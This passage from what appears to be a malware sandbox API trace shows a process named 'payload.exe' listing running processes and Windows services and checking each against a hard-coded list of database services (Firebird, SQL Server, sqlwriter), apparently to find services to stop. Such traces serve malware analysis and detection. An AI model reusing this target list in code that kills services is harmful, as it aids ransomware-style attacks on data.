hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0129.375] lstrlenW (lpString="payload.exe") returned 11 [0129.375] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0129.375] lstrlenW (lpString="cmd.exe") returned 7 [0129.375] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.376] lstrlenW (lpString="conhost.exe") returned 11 [0129.376] Process32NextW (in: hSnapshot=0x3d0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0129.377] CloseHandle (hObject=0x3d0) returned 1 [0129.377] Sleep (dwMilliseconds=0x1f4) [0129.908] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3e5b230 [0129.909] EnumServicesStatusExW (in: hSCManager=0x3e5b230, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0129.909] GetLastError () returned 0xea [0129.909] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1bc4) returned 0x443c408 [0129.909] EnumServicesStatusExW (in: hSCManager=0x3e5b230, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x443c408, cbBufSize=0x1bc4, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x443c408, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0129.909] CloseServiceHandle (hSCObject=0x3e5b230) returned 1 [0129.910] lstrlenW (lpString="AppXSvc") returned 7 [0129.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0129.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0129.910] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0129.910] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0129.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0129.910] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0129.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.910] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0129.910] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0129.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0129.910] lstrlenW (lpString="Audiosrv") returned 8 [0129.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0129.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0129.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0129.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0129.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0129.910] lstrlenW (lpString="BFE") returned 3 [0129.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0129.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0129.910] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0129.910] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0129.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0129.910] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0129.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0129.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0129.910] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0129.910] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0129.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0129.911] lstrlenW (lpString="CDPSvc") returned 6 [0129.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0129.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0129.911] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0129.911] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0129.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0129.911] lstrlenW (lpString="ClickToRunSvc") returned 13 [0129.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0129.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0129.911] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0129.911] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0129.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0129.911] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0129.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0129.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0129.911] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0129.911] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0129.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0129.911] lstrlenW (lpString="CryptSvc") returned 8 [0129.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0129.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0129.911] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0129.911] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0129.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0129.911] lstrlenW (lpString="DcomLaunch") returned 10 [0129.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.911] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0129.911] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0129.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0129.911] lstrlenW (lpString="DeviceAssociationService") returned 24 [0129.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0129.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0129.911] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0129.911] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0129.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0129.912] lstrlenW (lpString="Dhcp") returned 4 [0129.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0129.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0129.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0129.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0129.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0129.912] lstrlenW (lpString="Dnscache") returned 8 [0129.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0129.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0129.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0129.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0129.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0129.912] lstrlenW (lpString="DPS") returned 3 [0129.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0129.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0129.912] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0129.912] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0129.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0129.912] lstrlenW (lpString="DusmSvc") returned 7 [0129.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0129.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0129.912] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0129.912] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0129.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0129.912] lstrlenW (lpString="EventLog") returned 8 [0129.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0129.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0129.912] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0129.912] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0129.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0129.912] lstrlenW (lpString="EventSystem") returned 11 [0129.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0129.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0129.912] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0129.912] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0129.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0129.913] lstrlenW (lpString="FontCache") returned 9 [0129.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0129.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0129.913] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0129.913] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0129.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0129.913] lstrlenW (lpString="gpsvc") returned 5 [0129.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0129.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0129.913] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0129.913] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0129.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0129.913] lstrlenW (lpString="iphlpsvc") returned 8 [0129.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0129.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0129.913] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0129.913] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0129.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0129.913] lstrlenW (lpString="KeyIso") returned 6 [0129.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0129.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0129.913] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0129.913] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0129.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0129.913] lstrlenW (lpString="LanmanServer") returned 12 [0129.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0129.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0129.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0129.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0129.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0129.913] lstrlenW (lpString="LanmanWorkstation") returned 17 [0129.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0129.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0129.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0129.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0129.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0129.914] lstrlenW (lpString="lfsvc") returned 5 [0129.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0129.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0129.914] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0129.914] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0129.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0129.914] lstrlenW (lpString="lmhosts") returned 7 [0129.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0129.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0129.914] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0129.914] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0129.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0129.914] lstrlenW (lpString="LSM") returned 3 [0129.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0129.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0129.914] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0129.914] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0129.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0129.914] lstrlenW (lpString="MpsSvc") returned 6 [0129.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0129.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0129.914] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0129.914] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0129.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0129.914] lstrlenW (lpString="NcbService") returned 10 [0129.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0129.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0129.914] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0129.914] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0129.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0129.914] lstrlenW (lpString="netprofm") returned 8 [0129.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0129.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0129.914] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0129.914] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0129.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0129.915] lstrlenW (lpString="NgcSvc") returned 6 [0129.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0129.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0129.915] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0129.915] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0129.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0129.915] lstrlenW (lpString="NlaSvc") returned 6 [0129.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0129.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0129.915] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0129.915] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0129.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0129.915] lstrlenW (lpString="nsi") returned 3 [0129.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0129.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0129.915] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0129.915] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0129.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0129.915] lstrlenW (lpString="PcaSvc") returned 6 [0129.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0129.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0129.915] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0129.915] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0129.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0129.915] lstrlenW (lpString="PlugPlay") returned 8 [0129.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0129.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0129.915] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0129.915] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0129.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0129.915] lstrlenW (lpString="Power") returned 5 [0129.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0129.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0129.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0129.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0129.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0129.916] lstrlenW (lpString="ProfSvc") returned 7 [0129.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0129.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0129.916] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0129.916] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0129.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0129.916] lstrlenW (lpString="RpcEptMapper") returned 12 [0129.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.916] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0129.916] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0129.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0129.916] lstrlenW (lpString="RpcSs") returned 5 [0129.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0129.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0129.916] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0129.916] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0129.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0129.916] lstrlenW (lpString="SamSs") returned 5 [0129.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0129.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0129.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0129.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0129.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0129.916] lstrlenW (lpString="Schedule") returned 8 [0129.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0129.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0129.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0129.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0129.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0129.916] lstrlenW (lpString="SecurityHealthService") returned 21 [0129.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0129.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0129.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0129.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0129.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0129.917] lstrlenW (lpString="SENS") returned 4 [0129.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0129.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0129.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0129.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0129.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0129.917] lstrlenW (lpString="ShellHWDetection") returned 16 [0129.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.917] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0129.917] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0129.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0129.917] lstrlenW (lpString="Spooler") returned 7 [0129.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0129.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0129.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0129.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0129.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0129.917] lstrlenW (lpString="StateRepository") returned 15 [0129.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0129.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0129.917] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0129.917] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0129.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0129.917] lstrlenW (lpString="SysMain") returned 7 [0129.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0129.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0129.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0129.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0129.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0129.917] lstrlenW (lpString="SystemEventsBroker") returned 18 [0129.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0129.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0129.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0129.918] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0129.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0129.918] lstrlenW (lpString="Themes") returned 6 [0129.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0129.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0129.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0129.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0129.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0129.918] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0129.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0129.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0129.918] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0129.918] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0129.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0129.918] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0129.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0129.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0129.918] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0129.918] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0129.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443c408 | out: hHeap=0x510000) returned 1 [0129.918] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x42c 